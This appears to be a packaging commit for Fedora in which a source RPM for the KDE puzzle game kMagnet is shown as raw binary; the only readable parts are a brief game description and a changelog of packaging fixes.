?l?c?????$?~jx??????V?D?~Og?u?> ????I"0?????*Cg:?Y9#?}?TDC?$?D???e=h?????69$??JX???{-??&????l
?V?w?H??(\?54#????b4?&????"??Y?=-?WS????1(?@@?2I???
,?;|u[???-?Q??]M????/7???<?hd??a?????????
?$1?2]?j?????`??????l???????@"-??J????PV???MmZ%?u?LJ?h+?f??Y/???????[??2???m?4? JJ`?yy??.??6@?w-szS?g!!????u?????T?????????=0?_K2b2%??
??:?iqE?_??y?_%?eTr??:??6R?????#?Y?(?gy??~????k?V?,?j;?!????1.hh?-???z???|????7y?x?Y?t6Z?[c1?)B8?6
&y?7hq????????rJ^0??IqiunZ?L?e??kM?ZVZSBc10?4?????E??
?)B??E???N???I5????&?.???N ?
$?#E?????????Q??????>?>X???? P	??V??;?'cX?&_?I?_j??t$?iA??r>K?F??z{??}k'?A@b?E"?????????????????!d??H_??????abX?????)?6???Kv??m???_?3?J???C@
 ?dTr?;G$??
?@?
P"?Y>??????
0?????<;??kt?6????q$???
mIT?{???a!???;?;? (?!E?;???y?<E??WL
d?!*2D,???2H????b)	???tb1a?r<?_/9$.?????
?gG
p
??c?G?3?^aA???i?=????:?A??Y??????lm??????`
?/???}I-C??R(v?;@k$??????D????$???6???W?O??w?~??HY????`r?2e	??D?+5???B?L??j?
?F???????% V???l?0Ah?t?
(q2d>t?d??mK@???H6-I4$?????V?@?i%x??|????,f6	?;?z_????????W?????9?H?.:E"	
k[D8?5;?
??*oF?H??
?j?`?K3^~m??`
bM???z}????u
?!y??bw?0??@]????_Bp???z?>????
??NN?&8t???k\???g??p8?????q?\?W????E???Y
?:??;n?A?}?&vt"??????I?8@>??????????+(?????P???~???????%?:????!?? ??	d0M?d?%?`@%d????\? W??J?~?????c	?@Y
!	N?Mad90?h?8???I???/agH0H?2DTb???`o\:
?Hx??X
D??&???sB~W??B&d
3N??C??r?%n?
x
?<9??????%???+	??.??S?Z???f?vph9$?*??????+TX???[Q?m?[???s)?
*???yn?l??0?????r???d?VB4?v??)??e????E
t?????~?"?cx
??N?6d??'?A???R?=? ????g?%0?? ?!?"??dY3??F\a~?'????d?[
O-???5???;??f2tFO??jw??Y????]e?3%?7?)u`???=??#;??]?	}??
O?N'^\??b9????h3?W
???????
c?? ???C????a??C??9?[??????o7_N?
)??k????$<?? ??ire???Wz??m{?"?(9*I-??)?En?????????j(mSqB}4N???????	R????????<???_c?A?[^???m??
? '?H ???n???U
??3??t?e????U??X?rY??='?gq???mO?7,M4???LJs5?>4AO????gW?????U?7????{+???U??g?zp?o)@z??=h2A?v?
$
?2???6???????V?
?d??3! ????+U??J??n?
:L4???[?`??4??K???]?KL?)??6l??G??/;??
?2????5?d?4P??e?XM??i???7?bA?!???y?&zP_r??
=?_f???fB?lM ?/?Cy?W?????G??$?F????_???c?\?#?I???C|????*??E?6???
?H}??<'?w)?:???\???X??????!??
?p???Mozn???6???("
0???t? ;?????2?????}W???6?I$a
&?(j=?<???7 d? R?f?4?5Q(???IP\IYJ6 "8?U??uI?d
0?V??-G0?\i??J??E-??Yr?",d"F	?	1\?J?R+???r?B?????????f?$@??K?h?dP??0f??G??T%s???
?%[6Qh?aYB?+!j??~???
??"ku3??	???a???
?.??E????~??{N?????z?l?
?*(l????j???!ae?L??/2?????
?s?(??7????????=]???	0?UTA,d9C??!?^?k?
?L????lQ??`W?:s9????????
?????m???
?h???P?2@?
?uv?>??	?X??R"? (?F8d6nd??%3@??k!??6?N?e"9????TV????F??
t?Ju???????
0Q??????'^???\h?a?d?????????qW?`??Y
?d?XB?0?,	???*Eh&?Fb
?h????1LfhC?}?YA???D	??[?x?F=?&??_D???rM?92????9?????o?\???""@>?????M???& '?B??%8I$(
Rn?Q$?J?|\|??kO??Yj???_???x7Rex74?YG?~??Gu?:~"?cN
C?4?TR??)???$Q???????H*T??A?????[?Y?R2jP!???8?*?????
??s?"??K?k(?.?(`?????????u???TX???M?gv?J?96?/????'hc9??5d	Fr?V???w??B+d???>???,?kVX??????T??[sb*??s
RF??rv	(?)??wQ??:??o??"
	??I???_???b?V????f?J  ?!???=?[??]\?
9?#JO=??U???C?
?????Ql???(
SD?"????,	+?v?1?D
5
B(????-??,?XdB????	pV????S*?????s-Z?[?1a?f??????k
?	C`4???k:???`?aM9U???????H??????zH?%?0????OP??v????b??8|<v+?B?D ?C]?c???Q?????
?_f??
?F?L!?X/>???3?BV?#?D?"19W??>?1????P?A?D Y{?
?P??uW4???????U??

???i-?R??P?sNp???l`??????ju??P??K????~??ER'??" ?I@?3???]????????`=?+Iem{?=r2???=P&M2u5?`?AQ???fb???3?XA-!??Ccm??c?K	Tp??PW)??I?v???R8JRQ?????l16j??i??7??HN@?qN6?N?????rHn
??g????
??R3???g4??\?????V????????#?4??x
???8??Bw??;?BD?,X7????<?Ap8????(??C/+?v??5?co?h<?cX?{?s|??>Mr??)'?q?TZ??5???Lk??(?????c??.??$???f?(l???????U????O?{??>~_??
{????
>?
?fHHJ?"\????4?~=i*???,????$?h??tUY+???T

#?p????7zO??~R`r?'?????t????s+??a??j?$E??l?????H?,C?)@?^?????6M?;3?????
?@+?p?UT???3??B
T??E?K????D??&wL?(????%????!TWx5??^?v?!??q?w=Zx??????x??`u2tI*6:?^?D
?ez!????Pbm7
?1%??%?H?& A%J?S?n?Y3z???
??)??-??h(?,?B0?P????T???????r???AA?|c??.?E?????>?
??4??v?L@?x???????A???I?@???)?UH??????s???z??\?0?????C at 2FA",?0???{]>?r??'?1?cZ2.?A????0
"???zJv???j??an?#??[??^??&?)?$3KE??&?-	Im4$U^??E?`?(@|V*@*d?
uBN??OKL&$?Y:Hy:?|??I?@@??a????5?*?ic,?8?? D?&A"p?????+?c*8????j?*?q?b? u??@?H?	???"?O??;u'?8'?}? pIQ????????D??1?????UK?]????.TP?q??j?o?d?01??@?%ae?H???k????j?@???l??:??V?T6???$?!?H??H?$?@ a??Q-!	@?>?????:|9
\Y???????K??a?e??A?H???????an
??*?I;"?????B.h?3?????N7#;???z?ny??S:?????????????^???k??X???[???2Hmc at .?7??7???gK??Vk?n?~?a?wS???I ???{?=_??{?c??????X??b??a
P?<?Hd?d???vI0>?O????a*???146?&??r
?.????????z?S?~??o???W?>(;
GJ?????<??????N???!??iI?????$?\??y?@???Q??4??,?9q?R?????
e2??a??(?}?
???x?hi+???T????9?l
f=g??+
?Jm??m
????
7???	aO_~??<?????$???9'd- at -??.????@H e??$?|V?;?#Y@?99???????; ?H?
?m8t??[\??CH?}Dl?????OM?TT%????4?%?G?0
?~v?.?Nh??"?}Z?$
bx?H?/???.??]s?m??aR?
?k????q?0?~|??r=e??3+??to	??I*??Ve??
?.???????.?`?~?i)y???I at 1={@1F6	!?%)??~??? 2K$??q???????\i?+???(?H?l?o7X.??K	?????)e?q:????$?l?T$MA?O??(??
%?4i??\RO????I[)???v?9~???????????Us???a???????????]B??!???0
2?M;P?7????_m??8[lPpVG??UY?o??2?????C??[?5?gU???
?1???*??S??V??*w??	.?ypQ??H??k?K??
?_??p??[??????nD???????"K%??/??
	?8????_A???{?6??U?r=??i@??????s????}Y_J????3?p???1??_?IoL

B???Z??[N??)??=?o!??????{???A??2??!z??H???M??T!jB?d??"??I???0`?p?;?k?`M??? ?u?x<0??w???p??Id?jHKE??(?Y`???? ????????hE?x?????-?A???<????3R?W?5JRX?
?????CZ(?`??p??9??f?????k?4?F???L??b?7?2??]?????6 Sva!??jv??5$??????k?h???????]??d???S%?m68b?|S????????hO???d~
??h
4?????p????V+??H??V????*f???m?\*e??O:?????\?>A@??g8?N???????n???B??W3??~??]Kuf?,	2 ??(?>F(?pcu?^s??Zk??????M?????z?=?^??#??!??	?L?2?9????N?f!v<?C0p
?0??k????E]A0H???P&?t???r???z?DP?F&??)SI???l??$?????"UhBYa??KP-?r?047??D?~??^o???k???ODG???5x?Jih'e?a?|t)?
?Y???-X_??????????O??p??

???ch
??$?s?%!`?ciy+?^D??|?
???(
??O?q?E5X<???]?O?]n?????????U???@s???A?2n??~?oJ?????tid?,??x?"??

??#?_???~????A????2???!"x8 ?t?G???????8e9im??#????x???_??}??????Xs??@??[?M?@?W????h????_'???Zt?????z8?????????DD<?9??>???@????^j`?7????
??r???B-??k
??N?1??????H??o?/PC??_?(?2!zs??=?W??ZZ?P???z?R?,X?=f?#?/?/Z?FpW??????z?~?'?????????#??+_`?CH	$6#???@B????>??r??5??
r??Q?+)??+?????Q?????3???&?5????u~?Ac?q??=jo???????^????SX?g-?P??D???-?g?b??RS?_?n??nc"/????"?5b(r?????W?ag?s??_?4?q?Sd??W}?u?J9R????6:?*?????"?F<??kg????,(??E?Q,,?|??\?l?????^????0?,U 1?O?lQ?p?V???Nd?Nt???t??&?uL?5<L???????)???>??S?#???r?=?e]^pj?????-?O??d?I?????Q?8??\8??????	cj??X9????|J$??N??lK?lc?+?fTW?~
+?????P?v?c?vR?X?'#???/??1ch??6?X??79%?? ?7????T??jgx
???q ?if.?? ???N$??h??Ylw??*Z&???+hdI ??2)h??*r?)?????9???????G?j???@4?

?2
?Oqc??c:\??3?+???f?a8?:?EV????v???1`@,?Q??d?HWF???E????3w?`~7?
i5dCl?`?}#??%?Y8hh:n&N?????9?J>?+?~11B\wY???CM?9???n?t???R???,?
?
?G+?,?E??z??????q??g?O?w?yU
@???G?X????KR?=??????
Z?o????7	m{[K??.???VF??c?35?w#?]?gX????????OO??????p? 
3???B($????Xr"I??i?Z?@?4n9?T/??{??*1??>S??m?;????????g?OL0??s??????`
???'Z????l<???c3o???9Aw:m8
H????1???????><???5???d??????J????d???W??????ZN?9?"a???c?_?????;?#??&?)K;??5)J???Z?4/?Y;/Vz??o?V???$X???????Lg"?x ?U?v[?bu?GC????!?j?[???X?,%?~?Ra?H??N????
?2w?c,???T?It??v?3????.?t???Ie?n}a?s	??N9?????N?)B?R}???a?,KBv5??6f???P:????z?????a?C?P???*
?????rP??F"????????p?f?eU&<??????Vb?
H???.?&6W????E<??v???P??98@?K?Rc???????#???z+??????}0?z?????h?z???A???t?z????je?Z??K<0???=??????mu??K?
0??????????????????????????{?c?s????6v	??/?F???	
??>?4??????]&N??????*?e?????naC?5???&g3?DW?b?al.'0%??<??????.?g?
y#??x?'x0F??4T??99?C??z??v?i?}
/??-??O???1/????+M?J??w?'?O3?????t;
!????q???mU???3???????s?"N??*
??Zo^\???O???3??k?
U?
|?/l/uq???~
/*l?ncODj	9s???????????mn!I?~??M5,???F?+k]?u?????I???2'_a*k??6??V??R?z??h?,???Y2?)??,??f??7]?????Lg
????R?+;?g?C??+?:b(???8?H??UhTj????{???~m??>?m?8?????S??H?;X#???C?2o?+??]N?D???s???V$???U????8???;?"{?C????????q???abc9??`k?s?=H?B??w???????*??????"??B`(@7.%A??1?m????Q+?:?q?????????+s?.???6=E??a4RP:?~e
?#?????????lc?,????????O2???6?T?}??????9???V???`?5???????8???X???q+?I?????B??&?S????????
=?R?R??????R?6?@??|?1 at M?H?p????M??Lg|>d???;?9??????it??)#????????p`k(@??????v?;??
?W?8?S?2?>??JH
?PO?2Bw???????aE ??????*?n?%*09?8?Q?D?LP??Y??`
P?j(`i????

}?=4?Cek??E?M?t;!;?S???s??????S?^?4?X??sobC?1?>/??????|*^-???%?Mr.d????2
?iD?La??]~*??????P??L!T??h??????q-M??????O?F7Z=?`???Zn$??	??$,9}t~??]????bFp?q??$?]?a:i_??Q??g?C?Y??5c?L?"??Y{?y??\?T,?A?1K????}y2x
it?s?????Rj?De??]??E??01?o??Ob?}??`!???I	??O?a???2ZY?$?g??v??k:?S?=??yK.?5P???o?Uc???r?}D/5?*e?:???@???na?kK?2g?-?tO?=!??QU?c5?
??f?????t???Nw?V??h?????`?g ???SIu?|?\QC??k????F%??W?????,?B1.?R???????{?????z??!?
????#??cz?]0+NF?n?R?<?????Ql????MTI?q?2X?^?[?C???z?y??i??4?????:~}???
??O??????1?I???Q2y?"???N0?6?e0?b?Fz???H?Q???}?;?.?\l)??a??N?t?S????oI;?)>5??Z??~8
??*{???????E?~??7?x? Vu*?????7b???????&????O??3???]iKS0z?????P{W???W?/???s?k8?{b??w&?a?????N[????NY?????x?6Ij????d??
??L#?F	?[?R???8?%#8r`8??L?G????j,~#:?????3????*???0???2~??????\???Z2s??Q?v?x???v?d;??<???K$???????a?An????#???#?[	?g???t?y?l4Yz??);S??????4?8z?+!z?az[U&z???Y_???????9???	?T??~:??k???C0?pQ?????@??(???L?V?u???c????????{!??t?9Jx??[?(?z7?~b????	?k?I?l?xO?!???`n?j????t?,??=??s~????????T?I>x_%v???3}??;??????3?"7??i?????N???=[?C
B3b?'?T????_?NCeB???/???J^
6?YFr?U?%?
?P?W'?????
8??5???QrWh
????j??B????q?5J?????t??]jn?Nk'BL????w??v??{??k?h??\???&c??5{`[??7??Sf?CI&*???d
M?4z??,??r??O?w8?@&
???D?h???S???;??{??5??S/|?Gzw?9???s?f?	???k??
>}|?;??wQ??????L?jd9u???Mt}??y7??y;?$? ?F???cJ?????a????
H?`????[n\.??}????????sB?e?/???&???O??oK??g?m;?8I ???f??0??{??????CS???).w???Xg
?????c??????),?P|,R/Sa??K
???i??????%????????E<??|????
'+?SA???h?|?SD?????QC?k???p?ua:?0?q ????#???2?????h6???_?????????d??&?w?!k^???*?e?N
Dx{?f>?%??nK?I9|?K??8o?]??????L??\Ii??/?? ?P????*????q?HZ?(qr?9By?
+?Y?-
??????(????uv
?p?????)?h?<V?w?QOoJy???????.?&w
??H?7??q2?a
Ar{c?U?
E?4???Hl???????W4K?<c?h?sjf???bn 
Lah]????h?XB?
????[??????t?.H?x?",?\0L?fn?-???n????7?P?
???D{h8_?]3
?d???5
4D?"?mK?&%g^??
X0?M]???iWhV????????Z ?>??]?o???(k'WK?v???fgF-tVqe??????z???z?qB??????9A?1w?`?='????`/?/??	?1M??????J????e????~?~
?:~H-\?-???10Y/?L??x?E?I?K?a?J????w?M?94H?[????????~f????i??????N~???&?7???/f5z????I??#S?6g??Pl/!oMt2??Q?g?????X??P?Y?Gr ? 9??U?h'??? ?}I??+??!?
%?1"s????w??? ?z?5?[??3V????-?88Y?d?????6?:?&P?L??UV	??t?e?49??3kIy?2M?.?X?+?(?p??1????V?Pf?+????J?X?l??1?y?
??W+?))x????????q???'??^??{???	???#Z!?P?mC??8K??7???&??EP?w???]????%???5???	???)???????(WX?&?	???]? z?x?b??n?7???4?s??????
?4??XQ?j??????g?5x\?/??O|??lb???_??!?{#???IT?V3????n3li?>Q????#7?????R?5?g??????????	TU???9??&.V?D1?e??@?????????D,?????+??(???:o???l79k?hq?YH2???X\^??+:??P$?>?PK??I???o%q?d?5?|K<?H?dQ?Jp`??4??????v??x??p??&?c??s%
V????wE??{Q?0???"???
_pzqQ$Q<??,??K1?xg??C??^?|@??y?#?an?~i?G??O?
o?O??'?? !!?z??M??w?el=D	/?????&?y__3???6????~\???????????????&???:9???=?J?,??o?yT??????T???e
VS? exEj?d??5W#?u??????	D?D?????b|nj?????????j2???%|??k?v???????I?"????zh?[E????64?lB?`v`????$y?Y???'?????y?_?+Tm?y????v!?u??O??p??EF??	???:?&???Zw0??x;m????X?n?:XtN?????????E???*??????9?)?a????~??S4+????????????$?~O???
U<p3	????j2c?o?\??
??z????]S1bR?!E?&?T%
qs??@??@?M???:????	??M?j??/?^b???d???6?m??s??8f??%??]?????5??n??o???(????2?H,?%f?????)z??\???^???z6??ue"??E?RE0?
?a?ts?Db?R??
?{u??i????h???!??`i?????\???a9??~?9??M???ENB?~?????~nz?,????{?X???
???T??Y?X?????y?LP(C
?N?X|rE?Pf??C???<Pd?*#???&#?u4B?c????????2D???*?yK|??.????LN??i9p??t????wU????0/?R?E?
??d)?Z-????G?rT????(?%?f??h>??.?|.???g?B??????_?????R!3G???
?'??B3.f?+????.????*???i???????1*???rA???????-??0??	?8???_???}?????n????'?`?????7(??'-??????,????\?
?)v??????eU+w-????'??	?	?=?8??????A???{?PS<l%y?W?y??s#{????(Tvu?E?43O?U?t??r?S??????????.{????J???#'?q?sWn|?
d??????v?/??????MEp7??u1?????[?)?}F?8??u??;Y?_?V?)?3d?^?J?m?/??X?{?E?<?????x
?O?cT,??A??
N????????B?????$[?
1??H=?CAK
??>?M???
?rD/y?k??0???;??;9S|3xX6Gf????ov?9?y??Q_?8??a?v?u?U??
??) ?????|??Gf????Y?l,Z?\???6????~??~&??y]?0???z????????ix?p>
B??B?J????g\?QE?%%?#|??_????Q[?dC??zNc?P?$1???a^??Z?<F?H???~%(?+??(2?????'?gb?`
?C??`??v?k:???P????1??2?O?)?5??3h?'???????7?M??????pa`pJ?Mg?V???)rew?????7??u?9?=?A]??
??E????+l*??9
???ii?Y???.RM6qD??_.?{?a ?C}?????'?_?3?["P7??r???[?????5???4??~?h{??b??S?
?(???=-{???{G?[7?+A??4?J?Z????4"?W?,H??????tH?QI?"????7???"?l?&?=?Ls?d??????m????F?[j2?E?]?|:???W??v`?<j?ak?I7???"???????????s???p?91?z%{?????6\?I
|?D?????A?H?????l????k?W8??-?PQ7???OH
??Uf?JYE??u^7:?RHM?v??p8>?I???WF?@?jY???&&?zq
1$?UL??Sl
?>^fc?D<0:??(^6RF???	?!?;?????Sbg[N?|N?k[?}???Mu??
???qc^????????-?`?<??????pC? %hOx?_'?????.??T<??z}???{???;@'???????d	G?????\??A?~??]??;?}V,<??z?m)aS?i??+,????i?A?H??eO??M???#?T-?Y?+?j?Dz??????rN?tg+???????2?V|^?2<??0NU??tp???XWk???4????????{]?-l[?%X?????jh????j??h???
??&:?P?f??#?
?i/8?QT???7RN?Y??Q_?????i
J??
???S?
V???:?T????o?j#E&M'?????RXO7?yz??:?u,?Pn??????9i???h??@?????????????w??????	?!???w??P'nis?2?W?{j?H??_???@P?r_?.?*zs??????????t???a???+0??N?y???I??v??p?K?9?
??M?????k???[!??0?e??????&1??????Q8E!??<R?????u?h??6?h?B0/?la??=F?0???6???1VX???????Z???????f??????F?????&D???????)??[?/+\?????'????Q?G??x????/:a???
i?????Wzt[P
???X?<?P??b?M??n??:??
+"???<(??I???Q<7?Q9???@??ga	t|=mx?????o?O??H/?4Xo????l??T??F?bsH?'?"7???A??,O????6P???'<??_;=??A5????o??7m?M???l?g?)+??p??e??o?T????-?eI???	??6??E:??b_??g#???
?R??????K9?{B?[?M?Zd?}?\?:??????'?a??n?? e???????$??E,1????c?\?'?<?Z"?{-^???aZ)?4

???S?t??4??
E???~?-??p-??'?t)#Kw?Wh?ae??%|???????
?????6z??,K'Op-?G=q?"=ld?J(?}/???6????5"HL????????x?Me?\?b?I??Kd?I?BZ?????o2?N???????q"?l?x??y????\
DOqv??????g??>".?;5???EaI%??.??A????g?%W v?l?a?bP?,??|,?v	??????O???]]???R??2????U)#??;(}?\??q?????@??4????`%?fY???????1"gr9???<)????^?c????
??@Q??L???{???
???? ?h?SK??Y-?@3`???a=??1??b???5?"%??_??e???*???)??z?????Pvj?>????h???vj??8M$?????Nq?`E-???????T????p8????\????6K?N.?i*????g?&y;?jG?????
f??y????????+?? K?:h>!?Y76?|h???h????*R?C?!?????????Yp?yj'??m???;?G2?????V&D'?$?FQjb?>?%?p?TR?\?e????!4???Y?I??;K??	?
?~???&?????????
ab???o?D???o?????
$E&?UR????X???H???P~??H%??|M?B?M???.?y?D??l?D?E?N??t??r??????#?G?1???7?#)??z?>?U??B'E??'[?p?X???'???	xH?@?`@?? ???????P)v????.I?#_
m??o???o????????DHy?Cr?	Z3h???u?k?;[B?&Y??~P?1??]G???.???
?ee?\????[`?I?E
?????;E?J?s????????y7?'g?V2?veS?^4?=??v?;???kn?02)??Y\RO??E??=????M{Eb-???i??v/`?)y???J???YF???`{??5???????	?\??/??????????qW,|???&??%,?????TN8L????{?*%????3?
{??#O?=E?Bh?~???t??f.v?k?????}K}?? P??;?>???}W7o
[?b?V??Of?????VL?_??-?=???4???_?V??_?`???XJ???#1??8z?d#?hI??q??}~^?w:p???T??;?????~S???M?O??(?e_mG?
U3TL???%??????%? &?h?/9!???8?p??p(K???e?3+
?i??e??R?RG??vB%n???|?}
?\
?T????Y|~????e?L{w?be????-????'H??DWSB;?zn???{R??xZes4?P?U
?0?B?/??2
?f-Oi????q0;T?&???|?x?
?^??cU????.???:t?=????M?L????|?1?
?
c?	
?{??)??*??S:A??y??m????TGY?^??5??"ma??q?w?p?4???i?]2??|????I??P?0#I??????z??Uu??
-?0?+ at 8???=????yY????*???Oe(?H?.???a4U??`?h??P'C:???5??\TC?G8????_Y?Y
????j?zl?
??/???
d@????p?????[;3?v??I?.]/???)?{cS*h~?_?AN;]???????s??f?g???%P???L???a?`mqw}`?f)?
2tRr???]??W?z?)??H7?????s??????
@??R?g??"?5!?
??8B???}?????1?	????]Da0????]J0?I?E?C?V??[l%p;B??)?N?]%?7CrR!?????N???M??w?z?U????-??f9????????~z\2?RdA???????z?m???-.??????f~? z%?=
?O/?H?p|??????w*1?$?]??I?UTSVI?c}????2$(t?utT?Eh????*'?xU3r??`^`??A?{??1?Y??Z?#?????
-?u?????!?kMg?xs??t?~?,???a??? ???1?????'??i"?R~?C6?b???????i??@?o^>?j????h??;???PU???<d??????!,W??2???(??c?4d?yKr}??u?????
u?b=H.?#?N^8n??????m?5ps?F<?x??1??@A?(???F???+???????Y?%?????:??{R???7m???|???S?/Kj?`????~G??}??{.??QV?c%????+[??@??????????P=????m3|?????\?)z_7??z

*q?y?Hh??4?U?=?]6?D?gP???d^@?FS!|??3?~vU???1??!9S?QFb9*	m?T??J-T#??O???????@?????/} ?TzzD,6?RO?????CO????K&z?PHU???????P??5^?E6W???nm??8??Z^?k?}?#?}????%??.,??k>??l???<t?!??5??z???l????9i??H<,ZG??l,???????_????nQ.e???5?Zny???&????=;p?\?"Sc>_?t.Z???
#o;?4q????????G?(???'?l???_lm?9???Fl?p??}????7?[???Q?[8'?swyE)-YJ?U??2?D???????v???`CB??????s?K?0??E??vhECK?r?????D?s3?&{??.?K???/??iY????8???????????????Q???????????*QF??O??????????n?&????1G????D??????????W?v??y???S'?3?"Y??n3??f ?(?\?
???.?Gt
Y???L???
m??????
??f?B9n? ?/??0?????<??q^?9??}j|??J????Z?^?kD*'?"????0?DG?G?>]Q>?F?????9?aHl?@????Fa?Ce??{T??"??U?-q?
%*?:O`w!
eQh??9dTUe?b\k?K?.?Y.=?=e??w?N??Na??HU??8???????	f??-??L(?V!:???????
?Ns}'??G???????A9th??? pnb}??K??D????|??K?(N?e?Z<??%G????N??v?*7ZQ??]????^?a?(?M?|z~?"?Q?[?h???H?-=??J??!1?C32}???G??
7???&L??
???????P??????<9)??j???
?nh%?cT?.?=??a???PWh???R%%<
??p????.?N9??@????u?RX???u?????uz?X???z???'m??E?10K?!)?s,??6?:(??jz ?&?VE? hRj3)A?m~?QAG?????)??6 j0??h9????w?5????q%'{???gk??????"??~j?v?,?x2????s???+?3*:8_dy?W
TB8??U???>s?C,????ro?????????C??m???????5?L?m???*n??O??|?v~??u?m?1	???k??e???]	??????b??3??
5??j??_?????c???l?t???li?1!o?0*Z?R?64??M?m??Gc?1??S?

?????
????{%cg%UV'?????j??lC?o%??A&W3^?;b7vi? 4?*???,$?O?????????
??I???????V)?^?/?$?LL}??P\??&D?
?
r??????mn(??66Y???M,????P?y??????_mht#42?A&?LSs???TL?5??pbX??"?-?F?q&?4o'????_u?^@?Y?Qe???????????&^?Q/??[rl????'C????Z~???YGW}OUL?kz?????M??s4f??}o_??o???Lt?*J??@c8?;3?9????#*?z?l6??er{?????71A!b?]T?-	????U?
???
??LL???/s?a???FH??$z????#M???A-^?hsA?]&??Z?,D>>[??@3:G?\,????C? ?~?r)%o?^sO?]XZ?O???5?_????<r4??H?IO?rq? ?H?????????p:????? ??h???_??SVf?E8???
?H???~#GZ?8????W??3????+???H??A?]????w??8?.??R?@???|??x?j%%k?s#?mD?A?[?3y?????s+;	????|-9?a?f
???<????????\??d???E}?C??#Qh???I????
?J
?R9???E?D?s????,????.U?as[??
????3???UT$+????#?0????R{s?	??S??C?,?????$?;????(????P^f,???@;???3?>a?7?????????;D??o?O?G<?PK[_????~}?????n,P???ys???p^??C??????? 2?.;??&?d?s?-|T<?EV????:???d^7?????>w??Z??K??????N(^??v?Y???!???Y?)?2?`E>hcq?KL????)?M?7?s\$S??;?,J	8???=??B*p{??@"J??????O????\j?1????8??im?YV??K6?cf?DVT???????gg3%?3??CX?????bBj#??e1zla??YVY6??^?M???O	|E????g5??j'??l/?;???F??-&?
??????y?Nl2BR?????j?V??z???(xvY?_??m??U?`???.\??&???ss???????P9???????????#?JX??Rp$??9?*O??????T-???;?
)~?%~?]F???R.?q<A???Y?????(?>?)???????ep?=?iG?u?Vw???3S?I??"?%p?????~{}?63??????????3bc?#{????K?'M*?o??/????c2??P3????8????????????M????0^?$?	}?3Y???3?c????2???????E?????^D?????<????*????A??????HvM??CA????sX???C??@??????g??}?d?g
&???vv&g??-Q?;n?9???kxE4u???/
????(???E?????S)???O?6??????7?u???'?a?<?
??C$?>	9mBLY???kLz?????e^Z???>????SF????_???z?X?D?/?,(??=:?X?S?3?y????uX??zn
"
??$G?>iuR??-J??Y?r??0?i?b?????0????
?<F?Ez??t?7?L 2W?8`????*=?P?0??-??8 p3/%?v?W?}?oswF????7@???I;6?i#7???<?
?iE?,?w??b?W?m{?d????Z?????_C?W???????8YMD?V"?26???????7???ys?
J???
????]?w'u?w*]P?r?0V$9X???????}5/??I&?#?z?m??an????7W?Q????k5??;???
	`?Y??$]?????,??h????x???On>????l?Nj??0??bt????R?????R?L?R???=?%????I{
+?o=?'C???????
;O ????s?&??"b?*Af
'????f?(?}??$SJ??Z?^L'??\M'?Q???+?????;?*?R??????k9??[xqh?n??o??m??9??????
?Y?y??????F!?`??C????i??}???b
3}???&????5?????`
sL??7?]
???&f5$?g????;?9????I??6?????x-*??@?w?bt??+
??,25??;?K{?F??]?Be]?f?w.??K^??.??m?OQ4Xtd????v90???
$?R????Qv<?e?z??~,?fi?X?V?);?<Q??Hv??!???p?9#??U?}???R?(?????6?^,R/G????????3n/;???p???'k-D???B???0?y?14mN??UiT?????@???]??h[?@32
????x?fg??}???|????B1??-?|	Ck??V?z
`??HV	g?91i?????rt??????<????)?(???
A??y??.m?{??@???U6??qa?7A???O?|?vs,y?/???????#t??8?????????%U??d+??u?7?
NX????????c$???
???Z??????????c??ai)UN????(??nG?R?w?H???E?0?6??dC???_??Yd?0D?A%?VL?+F?b???0?1??;r?? U?wDq(Q?q;?r????
]
?3j????
?H?9???????$E??(?;????j??O?R0S??=?w\-??(?$,F??s?	V??P?;?qEL?Y|??????Dqhx+9???H??c??
??p???Km0?????Y???5??*_
2??????????????[?=?=_+e?\:????i??
???>?#
????%d?MlcLh?-??e??????????QZ???&	????W? %~X??6!,????&?lr?a]??%?v????????????X?[+?z???^0?"???1@????
{?k?Gk?t??!??U???\j????^
??+???+&I?*??????e???_=]????9Gh??Je #a??? {?Id??t&??????S^??,kt?GP~c.??+4??9????.e?????u????hK?3???C???T?
r?A?d????W?? ??05???J?E??j$?3??T???q?y??9?{???!K9?za5#A??????M}?P?6?!????CAw?1N*l???nWz?;?????{d?
???;?@e???=??Hbs????{
?wS??D?"[?eL?j?k?7?d2????f]???Y?}?wz?%yx???????ty?R"??s?*?????7M@?>\???2???$?5????j???8??9%??Y????{?RH'?[M?=&2??
?x?;*??:0I???#=3?? ??sF???7?)?O???
??~6??**?p<s??p?!N???{N?	Lp?
?????????O\Q?????????A;?d???G?#?Hb<?x??+.?????.?Fu?2??????l5???_??d?.~??F?K?PHz??l(?6? ????~?w7:???????ZL?:????B	??Q????Bt?!??4??%!??~????.???g
????EW'&???($u????????:??S??3???W?Uf?2??/??z???
???.????k2??????;???&?r&?~r??.R?,???/?vz?V?? ?rG [??",???`!B???R????
:?vyPt????P????? ?o?V?w	Ts???`SI???????}?????`=??"??b`*????uj?7??S_F!l?V
@??D\*????O&?!*c?D?????????Co????????H????\??? ???Q4\????}8.
??&&J&?P???*%????Gf?ob??h&?4R1????J\r?CS(EZ1*??:?E????????{8D??FYp??@oW??????????=N?????c?Ow"?????M??	?G??J?????????fd????[?@????V????^i#f>,[Jh2U???}>??{?????A9??9D?j_????]??!r??pc?;?"OJ???hdF?R"??h?????o?/?Q?=?V"R!??v?E?c?d?W?]???=???'A?\??p??P3&?
r???C:?Q?+#c{??xJ?N?????%?0?7N
????T???\???C??6M????.et???`_c??]???U????Q't?h1#xl]E?n?;???t?zY9?d???s??m?>Sx?p
?$???3,?`X`z?>?SXc??x* +a????9?Xjq?????ii?????0?M??Cb??$?~??''??-??#C???$FC?WK?_@??=???E?S?r*H?46)3JTE?<	?$???9?g?,????????
B??p???t?~=?F???S??9?;?$N?(c??.???w???:??e?o.??????????
??-g??`?0??"5?Pm??4?\D2?<:????F?u?Re:v????????????v-0x?]????|???kz?;????m?rm????tMo???O?O"
7$x????????[???I?[?5F?? ?)Y?z?D]?=Oon??C-?b?H?\?	TH??ax????1?.L??0?J????3??mO]{KRt	??????t???.?]??oT?d?^?	 =????,5?m2?[
m&T?L??sa?;??#?j7Yu?HzGF?

--- NEW FILE kmagnet-0.03-5.fc13.src.rpm ---
????




can move the ball up down left or right and it stops when it finds an
obstacle or arrives to a hole. To win the ball has to arrive to a hole.
}??????


kdegames-devel
- Removed unnecessary scriptlets
- Changed %files to own the directories
- Upstream changed name to kMagnet
- Added a patch to fix .desktop file
- Changed one %files entry to use %{_kde4_appsdir}
- Removed VERBOSE=1 from Makefile
- Sane use of macros in files section
- Added documentation
- Added icon code snippets
- Added desktop-file-validate
?;p?K?n?^???
?J??j?@~?y?????N??U???CWU?????H?;u?P	???}??k??j???6C???6&$Ja?S??uT?2E"??????J?Z?t??(j?J?$H
H(?
P	
??U??
*B??F
